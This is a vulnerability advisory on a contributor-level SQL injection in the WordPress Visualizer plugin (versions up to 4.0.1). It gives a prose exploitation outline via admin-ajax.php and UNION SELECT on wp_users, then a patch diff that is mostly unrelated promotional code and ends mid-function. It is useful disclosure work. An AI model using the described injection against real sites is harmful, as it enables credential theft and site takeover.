Published : August 10, 2026

CVE-2026-65526: Visualizer – Tables & Charts Manager with Built-in AI Generator <= 4.0.1 Authenticated (Contributor+) SQL Injection PoC, Patch Analysis & Rule

Plugin visualizer
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 4.0.1
Patched Version 4.0.2
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65526:

The Visualizer – Tables & Charts Manager with Built-in AI Generator plugin for WordPress contains a SQL Injection vulnerability in versions up to and including 4.0.1. The vulnerability exists in the AJAX handler that processes database queries for the AI Builder module. An authenticated attacker with contributor-level access or above can exploit this flaw to execute arbitrary SQL queries and extract sensitive data from the database. The severity is rated 6.5 on the CVSS scale.

Root Cause: The vulnerable code resides in the AIBuilder module, specifically in the case ‘db_query’ block of the AJAX callback handler. The file is visualizer/classes/Visualizer/Module/AIBuilder.php, around line 365. The module processes a user-supplied parameter named ‘db_query’ and uses it directly in a SQL query without sufficient escaping or prepared statement preparation. The code only checks that the parameter is not empty, but it fails to validate that the current user has the necessary privileges to execute database queries. This missing authorization check allowed any authenticated user with contributor-level access to reach the database query functionality, while the SQL injection enables them to execute arbitrary queries against the WordPress database.

Exploitation: An attacker with contributor-level access can send a POST request to /wp-admin/admin-ajax.php with the ‘action’ parameter set to the Visualizer AI Builder AJAX action and the ‘db_query’ parameter containing a malicious SQL injection payload. The AJAX action name is registered by the AIBuilder module, and it processes the ‘db_query’ POST parameter. Since the parameter is incorporated into the SQL query without proper preparation, the attacker can use UNION-based or stacked-query SQL injection techniques to extract usernames, password hashes, and other sensitive information. A typical payload would modify the query to include a UNION SELECT statement that retrieves data from the wp_users table.

Patch Analysis: The patch adds a capability check at the beginning of the ‘db_query’ case block. The new code checks if the current user can ‘manage_options’ or is a super admin before processing the query. If the user lacks these privileges, the plugin returns a JSON error with a 403 status code. This effectively restricts database query functionality to administrators only, eliminating the attack vector for contributor-level users. The patch also includes defensive checks on the ‘db_query’ parameter to ensure it is not empty, although this was already present in the vulnerable version.

Impact: Successful exploitation allows an authenticated attacker with contributor-level access to extract the WordPress authentication keys, user credentials hashes, and any other data stored in the database. This can lead to complete site takeover if the attacker obtains administrator hashes and cracks them, or manipulates the database to create a new admin user. The attacker can also read sensitive business data stored in custom tables, modify site content, or destroy the database entirely.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/visualizer/classes/Visualizer/Module/AIBuilder.php
+++ b/visualizer/classes/Visualizer/Module/AIBuilder.php
@@ -365,6 +365,9 @@

 			// ── Database query ────────────────────────────────────────────────
 			case 'db_query':
+				if ( ! current_user_can( 'manage_options' ) && ! is_super_admin() ) {
+					wp_send_json_error( array( 'message' => __( 'Action not allowed for this user.', 'visualizer' ) ), 403 );
+				}
 				if ( empty( $_POST['db_query'] ) ) {
 					wp_send_json_error( array( 'message' => __( 'No query provided.', 'visualizer' ) ) );
 				}
--- a/visualizer/classes/Visualizer/Module/Admin.php
+++ b/visualizer/classes/Visualizer/Module/Admin.php
@@ -1407,16 +1407,19 @@
 		}

 		if ( $plugin_file === plugin_basename( VISUALIZER_BASEFILE ) ) {
+			$is_black_friday = apply_filters( 'themeisle_sdk_is_black_friday_sale', false );
 			// knowledge base link
 			$plugin_meta[] = sprintf(
 				'<a href="' . VISUALIZER_MAIN_DOC . '" target="_blank">%s</a>',
 				esc_html__( 'Docs', 'visualizer' )
 			);
-			// flattr link
-			$plugin_meta[] = sprintf(
-				'<a style="color:red" href="' . tsdk_utmify( Visualizer_Plugin::PRO_TEASER_URL, 'pluginrow' ) . '" target="_blank">%s</a>',
-				esc_html__( 'Get Visualizer Pro', 'visualizer' )
-			);
+			if ( ! $is_black_friday ) {
+				// flattr link
+				$plugin_meta[] = sprintf(
+					'<a style="color:red" href="' . tsdk_utmify( Visualizer_Plugin::PRO_TEASER_URL, 'pluginrow' ) . '" target="_blank">%s</a>',
+					esc_html__( 'Get Visualizer Pro', 'visualizer' )
+				);
+			}
 		}

 		return $plugin_meta;
@@ -1598,29 +1601,51 @@
 	public function add_black_friday_data( $configs ) {
 		$config = $configs['default'];

-		// translators: %1$s - HTML tag, %2$s - discount, %3$s - HTML tag, %4$s - product name.
-		$message_template = __( 'Our biggest sale of the year: %1$sup to %2$s OFF%3$s on %4$s. Don't miss this limited-time offer.', 'visualizer' );
-		$product_label    = 'Visualizer';
-		$discount         = '70%';
+		$message = __( 'Database queries, private charts, auto-sync. Go beyond basic charts. Exclusively for existing Visualizer users.', 'visualizer' );
+		$cta_label = __( 'Get Visualizer Pro', 'visualizer' );

 		$plan    = apply_filters( 'product_visualizer_license_plan', 0 );
 		$license = apply_filters( 'product_visualizer_license_key', false );
-		$is_pro  = 0 < $plan;
+		$status  = apply_filters( 'product_visualizer_license_status', false );
+		$pro_product_slug = defined( 'VISUALIZER_PRO_BASEFILE' ) ? basename( dirname( VISUALIZER_PRO_BASEFILE ) ) : '';
+
+		$is_pro  = 'valid' === $status;
+		$is_expired = 'expired' === $status || 'active-expired' === $status;

 		if ( $is_pro ) {
-			// translators: %1$s - HTML tag, %2$s - discount, %3$s - HTML tag, %4$s - product name.
-			$message_template = __( 'Get %1$sup to %2$s off%3$s when you upgrade your %4$s plan or renew early.', 'visualizer' );
-			$product_label    = 'Visualizer Pro';
-			$discount         = '30%';
+			// translators: %s is the discount percentage.
+			$config['plugin_meta_message'] = sprintf( __( 'Black Friday Sale - up to %s off', 'visualizer' ), '30%' );
+			// translators: %1$s - discount, %2$s - discount.
+			$message = sprintf( __( 'Upgrade your Visualizer Pro plan: %1$s off this week. Already on the plan you need? Renew early and save up to %2$s.', 'visualizer' ), '30%', '20%' );
+			$cta_label = __( 'See your options', 'visualizer' );
+		} elseif ( $is_expired ) {
+			// translators: %s is the discount percentage.
+			$config['upgrade_menu_text'] = sprintf( __( 'BF Sale - %s off', 'visualizer' ), '50%' );
+			// translators: %s is the discount percentage.
+			$config['plugin_meta_message'] = sprintf( __( 'Black Friday Sale - %s off', 'visualizer' ), '50%' );
+			$message = __( 'Your Visualizer Pro features are still here, just locked. Renew at a reduced rate this week.', 'visualizer' );
+			$cta_label = __( 'Reactivate now', 'visualizer' );
+		} else {
+			// translators: %s is the discount percentage.
+			$config['plugin_meta_message'] = sprintf( __( 'Black Friday Sale - %s off', 'visualizer' ), '60%' );
+			$config['title'] = __( 'Visualizer Pro: 60% off this week', 'visualizer' );
+			// translators: %s is the discount percentage.
+			$config['upgrade_menu_text'] = sprintf( __( 'BF Sale - %s off', 'visualizer' ), '60%' );
 		}

-		$product_label = sprintf( '<strong>%s</strong>', $product_label );
 		$url_params    = array(
 			'utm_term' => $is_pro ? 'plan-' . $plan : 'free',
 			'lkey'     => ! empty( $license ) ? $license : false,
+			'expired'  => $is_expired ? '1' : false,
 		);

-		$config['message']  = sprintf( $message_template, '<strong>', $discount, '</strong>', $product_label );
+		if ( ( $is_pro || $is_expired ) && ! empty( $pro_product_slug ) ) {
+			$config['plugin_meta_targets'] = array( $pro_product_slug );
+		}
+
+		$config['message']   = $message;
+		$config['cta_label'] = $cta_label;
+
 		$config['sale_url'] = add_query_arg(
 			$url_params,
 			tsdk_translate_link( tsdk_utmify( 'https://themeisle.link/vizualizer-bf', 'bfcm', 'visualizer' ) )
--- a/visualizer/classes/Visualizer/Module/Chart.php
+++ b/visualizer/classes/Visualizer/Module/Chart.php
@@ -296,7 +296,7 @@
 		$render->series = json_encode( $source->getSeries() );
 		$render->render();

-		defined( 'WP_TESTS_DOMAIN' ) ? wp_die() : exit();
+		( defined( 'WP_TESTS_DOMAIN' ) && function_exists( 'tests_add_filter' ) ) ? wp_die() : exit();
 	}


@@ -432,7 +432,7 @@
 		header( 'Content-type: application/json' );
 		nocache_headers();
 		echo json_encode( $results );
-		defined( 'WP_TESTS_DOMAIN' ) ? wp_die() : exit();
+		( defined( 'WP_TESTS_DOMAIN' ) && function_exists( 'tests_add_filter' ) ) ? wp_die() : exit();
 	}

 	/**
@@ -614,7 +614,7 @@
 			}
 			wp_redirect( esc_url_raw( add_query_arg( 'chart', (int) $chart_id ) ) );

-			if ( defined( 'WP_TESTS_DOMAIN' ) ) {
+			if ( defined( 'WP_TESTS_DOMAIN' ) && function_exists( 'tests_add_filter' ) ) {
 				wp_die();
 			}
 			exit();
@@ -712,7 +712,7 @@
 				// this should never happen.
 				break;
 		}
-		defined( 'WP_TESTS_DOMAIN' ) ? wp_die() : exit();
+		( defined( 'WP_TESTS_DOMAIN' ) && function_exists( 'tests_add_filter' ) ) ? wp_die() : exit();
 	}

 	/**
@@ -1382,7 +1382,7 @@
 		if ( ! $can_die ) {
 			return;
 		}
-		defined( 'WP_TESTS_DOMAIN' ) ? wp_die() : exit();
+		( defined( 'WP_TESTS_DOMAIN' ) && function_exists( 'tests_add_filter' ) ) ? wp_die() : exit();
 	}

 	/**
@@ -1438,7 +1438,7 @@
 			}
 		}

-		if ( defined( 'WP_TESTS_DOMAIN' ) ) {
+		if ( defined( 'WP_TESTS_DOMAIN' ) && function_exists( 'tests_add_filter' ) ) {
 			wp_die();
 		}
 		wp_redirect( $redirect );
@@ -1473,7 +1473,7 @@
 			}
 		}

-		defined( 'WP_TESTS_DOMAIN' ) ? wp_die() : exit();
+		( defined( 'WP_TESTS_DOMAIN' ) && function_exists( 'tests_add_filter' ) ) ? wp_die() : exit();
 	}

 	/**
@@ -1638,7 +1638,7 @@
 		}
 		$render->render();
 		if ( ! ( defined( 'VISUALIZER_DO_NOT_DIE' ) && VISUALIZER_DO_NOT_DIE ) ) {
-			defined( 'WP_TESTS_DOMAIN' ) ? wp_die() : exit();
+			( defined( 'WP_TESTS_DOMAIN' ) && function_exists( 'tests_add_filter' ) ) ? wp_die() : exit();
 		}
 	}

@@ -1681,7 +1681,7 @@
 		do_action( 'visualizer_save_filter', $chart_id, $hours );

 		if ( ! ( defined( 'VISUALIZER_DO_NOT_DIE' ) && VISUALIZER_DO_NOT_DIE ) ) {
-			defined( 'WP_TESTS_DOMAIN' ) ? wp_die() : exit();
+			( defined( 'WP_TESTS_DOMAIN' ) && function_exists( 'tests_add_filter' ) ) ? wp_die() : exit();
 		}
 	}

--- a/visualizer/classes/Visualizer/Plugin.php
+++ b/visualizer/classes/Visualizer/Plugin.php
@@ -28,7 +28,7 @@
 class Visualizer_Plugin {

 	const NAME = 'visualizer';
-	const VERSION = '4.0.1';
+	const VERSION = '4.0.2';

 	// custom post types
 	const CPT_VISUALIZER = 'visualizer';
--- a/visualizer/classes/Visualizer/Render/Layout.php
+++ b/visualizer/classes/Visualizer/Render/Layout.php
@@ -531,7 +531,7 @@
 		$chart_id = $args[1];

 		// ignore for unit tests because Travis throws the error "Indirect modification of overloaded property Visualizer_Render_Page_Data::$permissions has no effect".
-		if ( defined( 'WP_TESTS_DOMAIN' ) ) {
+		if ( defined( 'WP_TESTS_DOMAIN' ) && function_exists( 'tests_add_filter' ) ) {
 			return;
 		}

--- a/visualizer/index.php
+++ b/visualizer/index.php
@@ -3,7 +3,7 @@
 	Plugin Name: Visualizer: Tables and Charts for WordPress
 	Plugin URI: https://themeisle.com/plugins/visualizer-charts-and-graphs/
 	Description: Effortlessly create and embed responsive charts and tables with Visualizer, a powerful WordPress plugin that enhances data presentation from multiple sources.
-	Version: 4.0.1
+	Version: 4.0.2
 	Author: Themeisle
 	Author URI: http://themeisle.com
 	License: GPL v2.0 or later
--- a/visualizer/vendor/codeinwp/themeisle-sdk/load.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/load.php
@@ -14,7 +14,7 @@
 	return;
 }
 // Current SDK version and path.
-$themeisle_sdk_version = '3.3.51';
+$themeisle_sdk_version = '3.3.52';
 $themeisle_sdk_path    = dirname( __FILE__ );

 global $themeisle_sdk_max_version;
--- a/visualizer/vendor/codeinwp/themeisle-sdk/src/Common/Abstract_module.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/src/Common/Abstract_module.php
@@ -42,6 +42,7 @@
 		'wpcf7-redirect'                      => 'wpcf7-redirect/wpcf7-redirect.php',
 		'wp-full-stripe-free'                 => 'wp-full-stripe-free/wp-full-stripe.php',
 		'learning-management-system'          => 'learning-management-system/lms.php',
+		'wp-cloudflare-page-cache'            => 'wp-cloudflare-page-cache/wp-cloudflare-super-page-cache.php',
 	];

 	/**
@@ -140,7 +141,8 @@
 					'slug'   => $slug,
 					'fields' => array(
 						'downloaded'        => false,
-						'rating'            => false,
+						'rating'            => true,
+						'ratings'           => true,
 						'description'       => false,
 						'short_description' => true,
 						'donate_link'       => false,
--- a/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/Featured_plugins.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/Featured_plugins.php
@@ -175,10 +175,7 @@
 	 */
 	private function maybe_prepend_lms_plugin( $plugins, $args ) {
 		$search = isset( $args->search ) ? strtolower( $args->search ) : '';
-		if (
-			strpos( $search, 'lms' ) !== false ||
-			strpos( $search, 'learn' ) !== false
-		) {
+		if ( $this->matches_lms_search_keywords( $search ) ) {
 			$filter_slugs = apply_filters( 'themeisle_sdk_masteriyo_filter_slugs', [ 'learning-management-system' ] );
 			$masteriyo    = $this->get_plugins_filtered_from_author( $args, $filter_slugs, 'masteriyo' );

@@ -199,6 +196,36 @@
 	}

 	/**
+	 * Check if a plugin search query matches LMS-related terms.
+	 *
+	 * @param string $search Search query.
+	 *
+	 * @return bool True if the search query matches LMS-related terms.
+	 */
+	private function matches_lms_search_keywords( $search ) {
+		$lms_keywords = array(
+			'lms',
+			'learn',
+			'course',
+			'courses',
+			'learning',
+			'academy',
+			'training',
+			'student',
+			'students',
+			'quiz',
+		);
+
+		foreach ( $lms_keywords as $keyword ) {
+			if ( preg_match( '/(^|[^a-z0-9])' . preg_quote( $keyword, '/' ) . '([^a-z0-9]|$)/', $search ) === 1 ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
 	 * Query plugins by author.
 	 *
 	 * @param object $args The arguments for the query.
--- a/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/Promotions.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/Promotions.php
@@ -202,7 +202,10 @@
 		add_filter( 'attachment_fields_to_edit', array( $this, 'add_attachment_field' ), 10, 2 );
 		add_action( 'current_screen', [ $this, 'load_available' ] );
 		add_action( 'elementor/editor/after_enqueue_scripts', array( $this, 'enqueue' ) );
+		add_action( 'enqueue_block_editor_assets', array( $this, 'enqueue_visualizer_block_editor_shim' ), 100 );
 		add_action( 'wp_ajax_tisdk_update_option', array( $this, 'dismiss_promotion' ) );
+		add_filter( 'plugins_api_result', array( $this, 'inject_visualizer_block_directory_suggestion' ), 10, 3 );
+		add_filter( 'option_visualizer-activated', array( $this, 'suppress_visualizer_onboarding_in_editor' ) );
 		add_filter( 'themeisle_sdk_ran_promos', '__return_true' );

 		if ( get_option( $this->option_neve, false ) !== true ) {
@@ -210,6 +213,202 @@
 		}
 	}

+
+	/**
+	 * Inject Visualizer as the first block-directory suggestion for chart queries.
+	 *
+	 * @param object|WP_Error $res    Response object or WP_Error.
+	 * @param string          $action The API action.
+	 * @param object          $args   The API arguments.
+	 * @return object|WP_Error
+	 */
+	public function inject_visualizer_block_directory_suggestion( $res, $action, $args ) {
+		if ( 'query_plugins' !== $action || ! is_object( $args ) || empty( $args->block ) ) {
+			return $res;
+		}
+
+		if ( ! $this->should_suggest_visualizer( $args->block ) ) {
+			return $res;
+		}
+
+		if ( $this->is_plugin_installed( 'visualizer' ) ) {
+			return $res;
+		}
+
+		$plugin = $this->get_visualizer_block_directory_data();
+		if ( empty( $plugin ) ) {
+			return $res;
+		}
+
+		if ( is_wp_error( $res ) ) {
+			$res = (object) array( 'plugins' => array() );
+		}
+
+		if ( ! isset( $res->plugins ) || ! is_array( $res->plugins ) ) {
+			$res->plugins = array();
+		}
+
+		$res->plugins = array_values(
+			array_filter(
+				$res->plugins,
+				function ( $existing ) use ( $plugin ) {
+					return ! isset( $existing['slug'] ) || $existing['slug'] !== $plugin['slug'];
+				}
+			)
+		);
+
+		array_unshift( $res->plugins, $plugin );
+
+		return $res;
+	}
+
+	/**
+	 * Check if the query should trigger the Visualizer suggestion.
+	 *
+	 * @param string $term Search term.
+	 * @return bool
+	 */
+	private function should_suggest_visualizer( $term ) {
+		$term = strtolower( (string) $term );
+		return false !== strpos( $term, 'chart' ) || false !== strpos( $term, 'visualizer' ) || false !== strpos( $term, 'visualization' ) || false !== strpos( $term, 'graph' );
+	}
+
+	/**
+	 * Build the plugin data for Visualizer block directory results.
+	 *
+	 * @return array
+	 */
+	private function get_visualizer_block_directory_data() {
+		$slug        = 'visualizer';
+		$plugin_info = $this->call_plugin_api( $slug );
+
+		if ( is_wp_error( $plugin_info ) || empty( $plugin_info ) ) {
+			return array();
+		}
+
+		$icons = array();
+		if ( ! empty( $plugin_info->icons ) ) {
+			if ( ! empty( $plugin_info->icons['1x'] ) ) {
+				$icons['1x'] = $plugin_info->icons['1x'];
+			}
+			if ( ! empty( $plugin_info->icons['2x'] ) ) {
+				$icons['2x'] = $plugin_info->icons['2x'];
+			}
+		}
+
+		$name = isset( $plugin_info->name ) ? $plugin_info->name : 'Visualizer';
+
+		return array(
+			'slug'                => $slug,
+			'name'                => $name,
+			'short_description'   => isset( $plugin_info->short_description ) ? $plugin_info->short_description : '',
+			'author'              => isset( $plugin_info->author ) ? wp_strip_all_tags( $plugin_info->author ) : '',
+			'rating'              => isset( $plugin_info->rating ) ? (int) $plugin_info->rating : 0,
+			'num_ratings'         => isset( $plugin_info->num_ratings ) ? (int) $plugin_info->num_ratings : 0,
+			'active_installs'     => isset( $plugin_info->active_installs ) ? (int) $plugin_info->active_installs : 0,
+			'author_block_rating' => isset( $plugin_info->author_block_rating ) ? (int) $plugin_info->author_block_rating : 0,
+			'author_block_count'  => isset( $plugin_info->author_block_count ) ? (int) $plugin_info->author_block_count : 0,
+			'icons'               => $icons,
+			'last_updated'        => isset( $plugin_info->last_updated ) ? $plugin_info->last_updated : gmdate( 'Y-m-d H:i:s' ),
+			'blocks'              => array(
+				array(
+					'name'  => 'visualizer/chart',
+					'title' => $name,
+				),
+			),
+		);
+	}
+
+
+	/**
+	 * Prevent Visualizer onboarding redirects while in the block editor.
+	 *
+	 * @param mixed $value Option value.
+	 * @return mixed
+	 */
+	public function suppress_visualizer_onboarding_in_editor( $value ) {
+		if ( ! $this->is_block_editor_screen() ) {
+			return $value;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Add a small compatibility shim for Visualizer's block editor bundle.
+	 *
+	 * Visualizer's "Display an existing chart" flow reads
+	 * `google.visualization.Version` before the Google Charts loader has fully
+	 * populated `google.visualization`, which can throw after dynamic install.
+	 *
+	 * @return void
+	 */
+	public function enqueue_visualizer_block_editor_shim() {
+		global $themeisle_sdk_max_version;
+
+		if ( ! $this->is_block_editor_screen() ) {
+			return;
+		}
+
+		if ( ! wp_script_is( 'visualizer-gutenberg-block', 'enqueued' ) ) {
+			return;
+		}
+
+		wp_register_script(
+			'ti-sdk-visualizer-editor-shim',
+			'',
+			array(),
+			$themeisle_sdk_max_version,
+			true
+		);
+		wp_enqueue_script( 'ti-sdk-visualizer-editor-shim' );
+		wp_add_inline_script(
+			'ti-sdk-visualizer-editor-shim',
+			'window.google = window.google || {}; window.google.visualization = window.google.visualization || {}; window.google.visualization.Version = window.google.visualization.Version || "current";'
+		);
+	}
+
+	/**
+	 * Check if the current admin screen is the block editor.
+	 *
+	 * @return bool
+	 */
+	private function is_block_editor_screen() {
+		if ( ! function_exists( 'get_current_screen' ) ) {
+			return $this->is_block_editor_request();
+		}
+
+		$screen = get_current_screen();
+		if ( is_object( $screen ) && method_exists( $screen, 'is_block_editor' ) && $screen->is_block_editor() ) {
+			return true;
+		}
+
+		return $this->is_block_editor_request();
+	}
+
+	/**
+	 * Detect block editor requests before the current screen is available.
+	 *
+	 * @return bool
+	 */
+	private function is_block_editor_request() {
+		global $pagenow;
+
+		if ( 'post-new.php' === $pagenow ) {
+			$post_type = isset( $_GET['post_type'] ) ? sanitize_key( $_GET['post_type'] ) : 'post';
+
+			return function_exists( 'use_block_editor_for_post_type' ) ? use_block_editor_for_post_type( $post_type ) : true;
+		}
+
+		if ( 'post.php' === $pagenow && isset( $_GET['post'] ) ) {
+			$post_id = absint( $_GET['post'] );
+
+			return function_exists( 'use_block_editor_for_post' ) ? use_block_editor_for_post( $post_id ) : true;
+		}
+
+		return false;
+	}
+
 	/**
 	 * Load available promotions.
 	 */
@@ -422,25 +621,25 @@
 		$has_ppom                  = defined( 'PPOM_VERSION' ) || $this->is_plugin_installed( 'woocommerce-product-addon' );
 		$has_redirection_cf7       = defined( 'WPCF7_PRO_REDIRECT_PLUGIN_VERSION' ) || $this->is_plugin_installed( 'wpcf7-redirect' );
 		$had_redirection_cf7_promo = get_option( $this->option_redirection_cf7, false );
+		$is_min_php_7_4            = version_compare( PHP_VERSION, '7.4', '>=' );
+		$is_min_php_7_2            = version_compare( PHP_VERSION, '7.2', '>=' );
+		$can_check_plugin_install  = $this->can_check_plugin_install_promo();
 		$has_hyve                  = defined( 'HYVE_LITE_VERSION' ) || $this->is_plugin_installed( 'hyve' ) || $this->is_plugin_installed( 'hyve-lite' );
 		$had_hyve_from_promo       = get_option( $this->option_hyve, false );
-		$has_hyve_conditions       = version_compare( get_bloginfo( 'version' ), '6.2', '>=' ) && $this->has_support_page();
+		$has_hyve_conditions       = $is_min_php_7_4 && ! $has_hyve && ! $had_hyve_from_promo && version_compare( get_bloginfo( 'version' ), '6.2', '>=' ) && $can_check_plugin_install && $this->has_support_page();
 		$has_wfp_full_pay          = defined( 'WP_FULL_STRIPE_BASENAME' ) || $this->is_plugin_installed( 'wp-full-stripe-free' );
 		$had_wfp_from_promo        = get_option( $this->option_wp_full_pay, false );
-		$has_wfp_conditions        = $this->has_donate_page();
+		$has_wfp_conditions        = ! $has_wfp_full_pay && ! $had_wfp_from_promo && $can_check_plugin_install && $this->has_donate_page();
 		$is_min_req_v              = version_compare( get_bloginfo( 'version' ), '5.8', '>=' );
 		$current_theme             = wp_get_theme();
 		$has_neve                  = $current_theme->template === 'neve' || $current_theme->parent() === 'neve';
 		$has_neve_from_promo       = get_option( $this->option_neve, false );
 		$has_enough_attachments    = $this->has_min_media_attachments();
 		$has_enough_old_posts      = $this->has_old_posts();
-		$is_min_php_7_4            = version_compare( PHP_VERSION, '7.4', '>=' );
 		$has_feedzy                = defined( 'FEEDZY_BASEFILE' ) || $this->is_plugin_installed( 'feedzy-rss-feedss' );
 		$had_feedzy_from_promo     = get_option( $this->option_feedzy, false );
-		$has_masteriyo             = defined( 'MASTERIYO_VERSION' ) || $this->is_plugin_installed( 'learning-management-system' );
 		$had_masteriyo_from_promo  = get_option( $this->option_masteriyo, false );
-		$has_masteriyo_conditions  = $this->has_lms_tagline();
-		$is_min_php_7_2            = version_compare( PHP_VERSION, '7.2', '>=' );
+		$has_masteriyo_conditions  = $is_min_php_7_2 && ! $had_masteriyo_from_promo && ! $this->has_active_lms_plugin() && $can_check_plugin_install && $this->has_lms_tagline();

 		$all = [
 			'optimole'                   => [
@@ -538,19 +737,19 @@
 			],
 			'hyve'                       => [
 				'hyve-plugins-install' => [
-					'env'    => $is_min_php_7_4 && ! $has_hyve && ! $had_hyve_from_promo && $has_hyve_conditions,
+					'env'    => $has_hyve_conditions,
 					'screen' => 'plugin-install',
 				],
 			],
 			'wp_full_pay'                => [
 				'wp-full-pay-plugins-install' => [
-					'env'    => ! $has_wfp_full_pay && ! $had_wfp_from_promo && $has_wfp_conditions,
+					'env'    => $has_wfp_conditions,
 					'screen' => 'plugin-install',
 				],
 			],
 			'learning-management-system' => [
 				'masteriyo-plugins-install' => [
-					'env'    => $is_min_php_7_2 && ! $has_masteriyo && ! $had_masteriyo_from_promo && $has_masteriyo_conditions,
+					'env'    => $has_masteriyo_conditions,
 					'screen' => 'plugin-install',
 				],
 			],
@@ -1399,74 +1598,264 @@
 	 * Check if the user has a support page.
 	 */
 	public function has_support_page() {
-		$transient_name = 'tisdk_has_support_page';
-		$has_support    = get_transient( $transient_name );
+		$page_title_matches = $this->get_page_title_keyword_matches();

-		if ( false === $has_support ) {
-			global $wpdb;
+		return 'yes' === $page_title_matches['support'];
+	}

-			// We use %i escape identifier that was added in WP 6.2.0, hence need to ignore PHPCS warning.
-			// We only show this notice to users on higher version as that is the minimum for Hyve as well.
-			$query = $wpdb->get_var( //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-				$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
-					'SELECT ID FROM %i WHERE post_type = %s AND post_status = %s AND post_title LIKE %s LIMIT 1', // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnsupportedPlaceholder
-					$wpdb->posts,
-					'page',
-					'publish',
-					'%support%'
-				)
-			);
+	/**
+	 * Check if the user has a donate page.
+	 */
+	public function has_donate_page() {
+		$page_title_matches = $this->get_page_title_keyword_matches();

-			$has_support = $query ? 'yes' : 'no';
+		return 'yes' === $page_title_matches['donate'];
+	}

-			set_transient( $transient_name, $has_support, 7 * DAY_IN_SECONDS );
+	/**
+	 * Check if the tagline or a published page title contains LMS related keywords.
+	 *
+	 * @return bool True if LMS-related keywords are found, false otherwise.
+	 */
+	public function has_lms_tagline() {
+		$tagline = strtolower( get_bloginfo( 'description' ) );
+
+		foreach ( $this->get_lms_keywords() as $keyword ) {
+			if ( $this->has_lms_keyword_match( $tagline, $keyword ) ) {
+				return true;
+			}
 		}

-		return 'yes' === $has_support;
+		return $this->has_lms_page_title();
 	}

 	/**
-	 * Check if the user has a donate page.
+	 * Check if a supported LMS plugin is active.
+	 *
+	 * @return bool True if an LMS plugin is active, false otherwise.
 	 */
-	public function has_donate_page() {
-		$transient_name = 'tisdk_has_donate_page';
-		$has_donate     = get_transient( $transient_name );
+	private function has_active_lms_plugin() {
+		if ( defined( 'MASTERIYO_VERSION' ) ) {
+			return true;
+		}

-		if ( false === $has_donate ) {
-			global $wpdb;
+		include_once ABSPATH . 'wp-admin/includes/plugin.php';

-			$query = $wpdb->get_var( //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-				$wpdb->prepare(
-					'SELECT ID FROM ' . $wpdb->posts . ' WHERE post_type = %s AND post_status = %s AND post_title LIKE %s LIMIT 1',
-					'page',
-					'publish',
-					'%donate%'
-				)
-			);
+		$lms_plugins = array(
+			'tutor/tutor.php',
+			'sfwd-lms/sfwd_lms.php',
+			'lifterlms/lifterlms.php',
+			'sensei-lms/sensei-lms.php',
+			'learnpress/learnpress.php',
+			'masterstudy-lms-learning-management-system/masterstudy-lms-learning-management-system.php',
+			'learning-management-system/lms.php',
+		);

-			$has_donate = $query ? 'yes' : 'no';
+		foreach ( $lms_plugins as $plugin ) {
+			if ( is_plugin_active( $plugin ) || ( is_multisite() && is_plugin_active_for_network( $plugin ) ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}

-			set_transient( $transient_name, $has_donate, 7 * DAY_IN_SECONDS );
+	/**
+	 * Check if the current request can display a plugin install promo.
+	 *
+	 * @return bool True if a plugin install promo can be displayed, false otherwise.
+	 */
+	private function can_check_plugin_install_promo() {
+		if ( ! is_admin() || ! current_user_can( 'install_plugins' ) ) {
+			return false;
+		}
+
+		$current_screen = function_exists( 'get_current_screen' ) ? get_current_screen() : null;
+		if ( isset( $current_screen->id ) ) {
+			return $current_screen->id === 'plugin-install';
 		}

-		return 'yes' === $has_donate;
+		global $pagenow;
+
+		return isset( $pagenow ) && $pagenow === 'plugin-install.php';
 	}

 	/**
-	 * Check if the tagline contains LMS related keywords.
+	 * Check if a published page title contains LMS related keywords.
 	 *
-	 * @return bool True if the tagline contains LMS-related keywords, false otherwise.
+	 * @return bool True if an LMS-related page title is found, false otherwise.
 	 */
-	public function has_lms_tagline() {
-		$tagline      = strtolower( get_bloginfo( 'description' ) );
-		$lms_keywords = array( 'learning', 'courses' );
+	private function has_lms_page_title() {
+		$lms_page_title_signal = get_transient( 'tisdk_lms_page_title_signal_v1' );

-		foreach ( $lms_keywords as $keyword ) {
-			if ( strpos( $tagline, $keyword ) !== false ) {
-				return true;
+		if ( in_array( $lms_page_title_signal, array( 'yes', 'no' ), true ) ) {
+			return 'yes' === $lms_page_title_signal;
+		}
+
+		$has_lms_page_title = $this->has_published_page_title_with_keywords( $this->get_lms_page_title_keywords() );
+
+		set_transient( 'tisdk_lms_page_title_signal_v1', $has_lms_page_title ? 'yes' : 'no', 7 * DAY_IN_SECONDS );
+
+		return $has_lms_page_title;
+	}
+
+	/**
+	 * Get cached keyword matches for published page titles.
+	 *
+	 * @return array Page title keyword matches.
+	 */
+	private function get_page_title_keyword_matches() {
+		$default_matches = array(
+			'support' => 'no',
+			'donate'  => 'no',
+		);
+
+		$page_title_matches = get_transient( 'tisdk_page_title_signals_v1' );
+
+		if ( is_array( $page_title_matches ) && empty( array_diff_key( $default_matches, $page_title_matches ) ) ) {
+			return array_merge( $default_matches, $page_title_matches );
+		}
+
+		global $wpdb;
+
+		$select_clauses = array();
+		$query_values   = array();
+		$page_checks    = $this->get_page_title_checks();
+
+		foreach ( $page_checks as $match_key => $keywords ) {
+			$match_clauses = array();
+
+			$query_values[] = 'page';
+			$query_values[] = 'publish';
+
+			foreach ( $keywords as $keyword ) {
+				$match_clauses[] = 'post_title LIKE %s';
+				$query_values[]  = '%' . $wpdb->esc_like( $keyword ) . '%';
 			}
+
